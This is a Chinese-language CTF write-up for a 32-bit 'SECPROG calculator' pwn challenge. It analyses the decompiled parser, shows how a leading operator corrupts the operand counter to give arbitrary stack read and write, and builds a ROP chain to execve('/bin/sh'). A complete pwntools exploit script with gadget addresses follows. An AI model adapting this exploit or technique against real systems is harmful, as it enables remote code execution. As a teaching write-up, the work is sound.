重点需要的知识:ROP链的构造、栈中ebp和esp的变换
这题颠覆了我原本以为pwn都是各种套路的思想,和pwn只需要关注危险函数的思想,栈溢出并不是只有各种ret技术,恐怕堆溢出也不仅仅局限于各种heap of技术,那些只是基础。
int __cdecl main(int argc, const char **argv, const char **envp)
{
ssignal(14, timeout);
alarm(60);
puts("=== Welcome to SECPROG calculator ===");
fflush(stdout);
calc();
return puts("Merry Christmas!");
}
主函数没什么特别的,ssignal()和alarm()应该只是让程序时间长了不交互就自动退出。
unsigned int calc()
{
int pool; // [esp+18h] [ebp-5A0h]
int v2[100]; // [esp+1Ch] [ebp-59Ch]
char s; // [esp+1ACh] [ebp-40Ch]
unsigned int v4; // [esp+5ACh] [ebp-Ch]
v4 = __readgsdword(0x14u);
while ( 1 )
{
bzero(&s, 0x400u);//对s字符数组置零
if ( !get_expr((int)&s, 1024) )//get_expr是对函数进行字符过滤
break;
init_pool(&pool);//init_pool是对数组进行置零
if ( parse_expr((int)&s, &pool) )//parse_expr是对表达式进行运算,溢出点就在这里
{
printf((const char *)&unk_80BF804, v2[pool - 1]);
fflush(stdout);
}
}
return __readgsdword(0x14u) ^ v4;
}
这里s虽然只是一个字符变量,但是进了get_expr就能知道s其实存储的是我们输入的字符串
int __cdecl get_expr(int s, int a2)
{
int v2; // eax
char v4; // [esp+1Bh] [ebp-Dh]
int v5; // [esp+1Ch] [ebp-Ch]
v5 = 0;
while ( v5 < a2 && read(0, &v4, 1) != -1 && v4 != 10 )//read负责读取一个字符,然后放入if检查
{
if ( v4 == 43 || v4 == 45 || v4 == 42 || v4 == 47 || v4 == 37 || v4 > 47 && v4 <= 57 )
{
v2 = v5++;
*(_BYTE *)(s + v2) = v4;//如果符合条件就加入s数组
}
}
*(_BYTE *)(v5 + s) = 0;//添加终止符
return v5;
}
get_expr中的while循环就是只要字符串超过1024,或者读到终止符或者读不到字符就终止,然后只有字符等于+-*/%1234567890时才会存入s字符数组(v2和v5就是偏移量,因为s传入get_expr的是int型的首地址值),最后s末尾加上终止符
_DWORD *__cdecl init_pool(_DWORD *a1)
{
_DWORD *result; // eax
signed int i; // [esp+Ch] [ebp-4h]
result = a1;
*a1 = 0;
for ( i = 0; i <= 99; ++i )
{
result = a1;
a1[i + 1] = 0;
}
return result;
}
init_pool我看得不是很明白,主要是不明白DWORD字型和地址值之间的转化关系。但大致能看出是把pool内100个int型空间都置零。
v11 = __readgsdword(0x14u);
v5 = s;
v7 = 0;
bzero(string, 0x64u);//string数组用来存储运算符
for ( i = 0; ; ++i )
{
if ( (unsigned int)(*(char *)(i + s) - 48) > 9 )//当在s中找到字符为运算符时为真
{
lenth = i + s - v5;
number = (char *)malloc(lenth + 1);
memcpy(number, v5, lenth);
number[lenth] = 0;
if ( !strcmp(number, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(number);
if ( v9 > 0 )//当输入的第一个字符为运算符时,v9就不会大于0
{
v4 = (*pool)++;
pool[v4 + 1] = v9;
}
if ( *(_BYTE *)(i + s) && (unsigned int)(*(char *)(i + 1 + s) - 48) > 9 )
//如果运算符后紧跟着运算符,则报错
{
puts("expression error!");
fflush(stdout);
return 0;
}
v5 = i + 1 + s;
parse_expr这个函数是重点,其中s是我们输入的内容,一开始的if是一个个字符进行检查,当字符为运算符时(因为定义为了unsigned int,所以+-/*%这些符号减去48后,就变成非常大的数,比9大),会开辟一个空间存储运算符前面的数,之后会用atoi转化成int型数字赋值给v9,然后v4等于pool[0],随后pool[0]会加1,然后pool[pool[0]+1]会等于v9,所以pool数组是用来存储操作数的。
接下来的if就是检测是否有连续的运算符,如果有则报错。
v5 = i + 1 + s;
if ( string[v7] )
{
switch ( *(char *)(i + s) )
{
case 37:
case 42:
case 47:
if ( string[v7] != 43 && string[v7] != 45 )
{
eval(pool, string[v7]);
string[v7] = *(_BYTE *)(i + s);
}
else
{
string[++v7] = *(_BYTE *)(i + s);
}
break;
case 43:
case 45:
eval(pool, string[v7]);
string[v7] = *(_BYTE *)(i + s);
break;
default:
eval(pool, string[v7--]);
break;
}
}
else
{
string[v7] = *(_BYTE *)(i + s);
}
if ( !*(_BYTE *)(i + s) )//如果字符为结束符,则退出for循环
break;
}
}
while ( v7 >= 0 )
eval(pool, string[v7--]);
return 1;
parse_expr函数的剩余部分就是检测string数组内是否有字符,没有的话则string存储当前if()判断的字符,也就是运算符。所以pool用来存储操作数,string用来存储运算符。
整个for循环的逻辑就是逐一检查s的字符,如果是运算符,则检测前面的数字是否等于字符‘0’,如果等于就报错,不等于且大于0就把前面的数字存储到pool[pool[0]+1],pool++,pool[0]内存储着已有操作数的数量,然后检测string内是否有运算符,如果有,就执行eval(pool,string[v7]),然后把string[v7]内的字符替换成当前的字符。如果string没有运算符,则把当前字符存入string内。
这里已经有一个bug了,那就是当第一个字符为运算符时,number[0]=0,if ( v9 > 0 )就不会成立,也就不执行把数存储到pool内的指令。
那怎么利用这个bug呢,还要看eval()函数
_DWORD *__cdecl eval(_DWORD *pool, char string)
{
_DWORD *result; // eax
if ( string == 43 )
{
pool[*pool - 1] += pool[*pool];
}
else if ( string > 43 )
{
if ( string == 45 )
{
pool[*pool - 1] -= pool[*pool];
}
else if ( string == 47 )
{
pool[*pool - 1] /= pool[*pool];
}
}
else if ( string == 42 )
{
pool[*pool - 1] *= pool[*pool];
}
result = pool;
--*pool;
return result;
}
可以看到在eval中,任何计算都涉及到*pool,也就是pool[0],pool[0]就代表着pool内存储的数的个数。在正常的表达式中,应该是两个数字和一个运算符参与计算,但当我们开头就输入运算符,比如"+360\n",就会产生bug了,因为遇到回车的时候,parse_expr中会跳出for循环,执行eval(),像pool[*pool - 1] += pool[*pool]中,*pool这时候只有1,因为+360这个表达式中只有一个数,结果就变成了pool[0]+=pool[1]了,而这个时候pool[1]内存储着360,结果就变成pool[0]=360,也就是*pool=360。这样本来是统计操作数个数的内存空间就让我们能够控制了。
再回到calc中,这时候printf((const char *)&unk_80BF804, v2[pool - 1]);实在是看不出来什么东西,还是要看汇编
.text:080493F2 test eax, eax
.text:080493F4 jz short loc_8049428
.text:080493F6 mov eax, [ebp+pool]
.text:080493FC sub eax, 1
.text:080493FF mov eax, [ebp+eax*4+var_59C]
.text:08049406 mov [esp+4], eax
.text:0804940A mov dword ptr [esp], offset unk_80BF804
.text:08049411 call printf
[ebp+pool]就是pool[0],而[ebp+var_59c]则等于pool[1],因为int pool是[ebp-5a0h],int v2[100]是[ebp-59ch],栈内空间是从高到低的,59ch比5a0h少4个字节,正好一个int型空间,所以,v2[pool-1]=ebp+4*(pool[0]-1)-5a0h+4=ebp-5a0h+4*pool[0]=pool[pool[0]],unk_80bf804是%d,然后prinf输出字节位置是eax,最后printf((const char *)&unk_80BF804, v2[pool - 1]);就是输出pool[pool[0]]内存储的值。
也就是说如果输入"+360\n"就能得到pool[360]处存储的值,如果输入"+360-1\n",则会在'-'号的时候计算eval时,把360赋值给pool[0],接着到‘1’时,则会把1存入pool[360+1]中,最后‘\n’时会pool[0]+pool[361]的值赋值给pool[361-1]。现在我们就有两个能力,一个是能泄露任意地址,二是能修改任意地址。
因为程序开启了Canary和NX,也就是栈溢出检查和栈不可执行,所以我们不能用shellcode,而Canary,因为我们是精准地修改任意地址,所以不会动到Canary在栈内放置的校验值,具体Canary存放在哪里,可以看汇编
.text:08049379 push ebp
.text:0804937A mov ebp, esp
.text:0804937C sub esp, 5B8h
.text:08049382 mov eax, large gs:14h
.text:08049388 mov [ebp+var_C], eax
.text:0804938B xor eax, eax
large gs就是canary的校验值,可以看到存放在ebp+12的位置,也就是pool[357],至于为什么,因为pool在ebp-5a0h处,0x5a0/4=360,所以pool[360]的地址就是calc()函数中ebp寄存器的值,而pool[360]中存储的值则是main()函数的ebp。具体为什么pool[360]中存储着的是main()的ebp,也要看之前的汇编。main()函数在call calc时,会先push下一跳的值,然后在calc函数的开头,又先push了ebp,所以这时候esp指向的就是栈内存放了ebp值的位置,然后mov ebp,esp 就让pool[360]的地址值成了calc中ebp寄存器存储的值,也让pool[360]内存储着main()函数的ebp值。
知道了main()函数的ebp值存储的位置后,我们就能借此推断出栈的实际地址,实际地址有什么用我们之后再说。
不能用shellcode,就我现在所学,那就只能用ROP了,可以构造如下ROP链
361 pop eax
362 11
363 pop edx,ecx,ebx
364 0
365 0
366 &pool[368]
367 int 80
368 /bin
369 /sh\00
我们可以选择pool[361]之后的空间来存放ROP链,pool[361]就是返回地址。其它地方也是可以但是因为bzero()和init_pool()让ebp-ch到ebp-5a0h的空间每次输入表达式都会重置,所以都放在360之后是最方便的(像/bin字符串可以放在其它地方,但就比较麻烦了)。
这里唯一比较麻烦的是pool[368]的地址值怎么算,这里就可以用到之前提到的存放在pool[360]中main()函数ebp的值了,首先计算main的ebp到main的esp的值,这就需要看汇编了
.text:08049452 push ebp
.text:08049453 mov ebp, esp
.text:08049455 and esp, 0FFFFFFF0h
.text:08049458 sub esp, 10h
所以main_esp=(main_ebp&0fffffff0h)-16,因为栈随机化不影响最低两位地址,所以不会改变&0fffffff0h后的差值,实际试验后可以计算出main_ebp-main_esp=24,然后main函数内call calc()后,会push 返回地址,这时候32位系统的栈会抬高4字节,因此&pool[361]-main_ebp=24+4=28,最后计算pool[368]距离pool[361]=(368-361)*4=28,因此&pool[368]就等于main_ebp,即&pool[368]=pool[360]
然后pop eax之类的可以用ROPgadget --binary calc --only 'pop|ret'的命令查找地址,最后的到脚本
from pwn import *
s=process("./calc")
#ROPgadget
pop_eax=0x805c34b
pop_edx_ecx_ebx=0x80701d0
int_80=0x8049a21
str_bin=0x6e69622f
str_sh=0x0068732f
pop_ebx=0x080481d1
val=[0x805c34b,11,0x80701d0,0,0,0,0x8049a21,0x6e69622f,0x0068732f]
s.sendlineafter("===\n","+360")
main_ebp=(int(s.recvline()))
print "main_ebp:"+str(main_ebp)
main_esp=((main_ebp+0x100000000)&0xfffffff0)-16
bin_addr=(7-(main_ebp+0x100000000-main_esp)/4-1)*4+main_ebp
print "bin_addr:"+str(bin_addr)
val[5]=bin_addr
for i in range(0,9):
s.sendline("+36"+str(i+1))
value=int(s.recvline())
print "stack_36"+str(i+1)+": "+str(hex(value))
diff=val[i]-value
if diff<0:
s.sendline("+36"+str(i+1)+str(diff))
else:
s.sendline("+36"+str(i+1)+"+"+str(diff))
value=int(s.recvline())
print "stack_36"+str(i+1)+": "+str(hex(value))
s.sendline("getshell")
s.interactive()
这里有个坑曾经困扰了我两个小时,就是一开始我是先遍历得到pool[360]-pool[369]的值,然后再去计算所需的diff值,后来才发现比如"+360+1",会把1存储到pool[361]中,所以需要从低位地址开始依次改变,在需要的时候才取得所需要的值。
最后这一篇是参考了https://www.freebuf.com/articles/others-articles/132283.html,讲得很好很详细